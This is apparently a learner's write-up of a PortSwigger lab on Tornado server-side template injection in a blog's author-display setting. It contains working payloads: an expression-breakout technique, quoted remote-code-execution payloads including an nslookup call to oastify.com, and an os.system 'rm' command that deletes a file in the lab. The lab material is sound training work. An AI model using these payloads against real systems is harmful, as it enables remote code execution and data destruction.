| Field | Details |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Server-Side Template Injection (Tornado, Code Context) |
| Difficulty | Practitioner |
| Objective | Review the Tornado documentation to discover how to execute arbitrary code, then delete morale.txt from Carlos's home directory |
Basic Server-Side Template Injection (Code Context)¶
Log in with wiener:peter.
There's a "preferred name" functionality. Making a comment on a post with the default setting shows:
Peter Wiener | 13 June 2026
teto
Changing the preferred name setting to "first name" updates the comment to:
Peter | 13 June 2026
teto
and to "nickname" gives:
H0td0g | 13 June 2026
teto
Intercepting the preferred name change request:
POST /my-account/change-blog-post-author-display HTTP/2
blog-post-author-display=user.first_name&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW
user.first_name looks like a template expression being used directly to populate the comment author display — worth poking at.
Messing with the value:
POST /my-account/change-blog-post-author-display HTTP/2
blog-post-author-display=user.first_nameteto&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW
Reloading the comment post gives an internal server error:
Internal Server Error
Traceback (most recent call last): File "<string>", line 16, in <module> File "/usr/local/lib/python2.7/dist-packages/tornado/template.py", line 348, in generate return execute() File "<string>.generated.py", line 4, in _tt_execute AttributeError: User instance has no attribute 'first_nameteto'
That traceback names Tornado directly, so no guessing needed. The error also tells us something useful: our input is being concatenated directly into an existing {{ }} expression, not passed in as a clean variable.
From PayloadsAllTheThings:
Tornado - Basic Injection
{{7*7}}
{{7*'7'}}
Tornado - Remote Command Execution
{{os.system('whoami')}}
{%import os%}{{os.system('nslookup oastify.com')}}
Trying:
POST /my-account/change-blog-post-author-display HTTP/2
blog-post-author-display={{7*7}}&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW
The output shows {{49}} — the braces are still there because we replaced the whole expression instead of breaking out of the existing one. The original value is user.first_name, already wrapped in {{ }} by the template, so we need to close that pair first and open our own:
POST /my-account/change-blog-post-author-display HTTP/2
blog-post-author-display=user.first_name}}{{7*7
This gives peter49.
Following the same path as the ERB lab, the objective is to delete /home/carlos/morale.txt. Using the RCE payload from PayloadsAllTheThings with the same close-and-reopen technique:
POST /my-account/change-blog-post-author-display HTTP/2
blog-post-author-display=user.first_name}}{%import os%}{{os.system('rm /home/carlos/morale.txt')&csrf=FCO3f5Ae4cEquqMscC1vrx5RkY2i4ctW
The trailing }} from the original template closes our injected expression for us, so we don't need to add it ourselves.
This deletes the file and solves the lab
x.x